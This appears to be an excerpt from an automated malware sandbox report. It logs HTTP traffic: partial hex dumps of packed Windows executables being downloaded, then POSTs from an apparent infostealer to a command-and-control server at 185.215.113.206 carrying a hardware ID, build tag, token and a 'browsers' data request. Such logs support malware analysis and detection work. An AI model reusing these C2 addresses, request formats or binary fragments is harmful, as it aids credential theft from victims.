00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 74 73 76 6e 69 67 00 10 00 00 00 30 c9 00 00 04 00 00 00 50 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c9 00 00 22 00 00 00 54 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:45:21 GMTContent-Type: application/octet-streamContent-Length: 2028032Last-Modified: Sat, 30 Nov 2024 08:43:24 GMTConnection: keep-aliveETag: "674ad02c-1ef200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 a0 4b 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4b 00 00 04 00 00 9c a1 1f 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b f0 06 00 6f 00 00 00 00 60 06 00 34 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 57 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 ae 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 34 82 00 00 00 60 06 00 00 3c 00 00 00 be 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 06 00 00 02 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 00 07 00 00 02 00 00 00 fc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 65 79 6f 69 66 64 79 00 d0 1a 00 00 c0 30 00 00 ce 1a 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 69 75 63 7a 6e 6b 64 00 10 00 00 00 90 4b 00 00 04 00 00 00 cc 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4b 00 00 22 00 00 00 d0 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:45:30 GMTContent-Type: application/octet-streamContent-Length: 4478976Last-Modified: Sat, 30 Nov 2024 08:26:55 GMTConnection: keep-aliveETag: "674acc4f-445800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 a0 c8 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c8 00 00 04 00 00 17 4e 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 84 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 84 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 73 00 00 10 00 00 00 44 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 73 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 73 00 00 02 00 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 39 00 00 90 73 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6b 6b 67 66 75 78 68 00 e0 1b 00 00 b0 ac 00 00 d8 1b 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6c 6c 69 66 68 77 6a 00 10 00 00 00 90 c8 00 00 04 00 00 00 32 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c8 00 00 22 00 00 00 36 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:45:43 GMTContent-Type: application/octet-streamContent-Length: 1864192Last-Modified: Sat, 30 Nov 2024 08:21:23 GMTConnection: keep-aliveETag: "674acb03-1c7200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 e0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4a 00 00 04 00 00 8e 45 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 05 00 00 10 00 00 00 58 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 50 05 00 00 02 00 00 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 05 00 00 02 00 00 00 6a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 61 6c 6d 6a 6d 00 e0 19 00 00 f0 2f 00 00 de 19 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 66 71 71 7a 65 62 67 00 10 00 00 00 d0 49 00 00 04 00 00 00 4c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 49 00 00 22 00 00 00 50 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:45:52 GMTContent-Type: application/octet-streamContent-Length: 1811968Last-Modified: Sat, 30 Nov 2024 08:21:30 GMTConnection: keep-aliveETag: "674acb0a-1ba600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e8 97 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 a0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 69 00 00 04 00 00 d9 f5 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 72 6f 68 64 6b 77 65 00 10 1a 00 00 80 4f 00 00 08 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 73 71 63 70 7a 61 00 10 00 00 00 90 69 00 00 04 00 00 00 80 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 69 00 00 22 00 00 00 84 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:46:01 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Sat, 30 Nov 2024 08:19:37 GMTConnection: keep-aliveETag: "674aca99-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 91 ca 4a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 84 7b 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 5c a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 5c a6 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:46:08 GMTContent-Type: application/octet-streamContent-Length: 2781184Last-Modified: Sat, 30 Nov 2024 08:20:04 GMTConnection: keep-aliveETag: "674acab4-2a7000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 ed 79 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 67 75 67 74 6b 70 79 00 20 2a 00 00 a0 00 00 00 10 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 63 71 72 78 78 62 68 00 20 00 00 00 c0 2a 00 00 04 00 00 00 4a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 4e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="build"drum------GCGCFCBAKKFBFIECAEBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"browsers------JKKEHJDHJKFIECAAKFIJ--
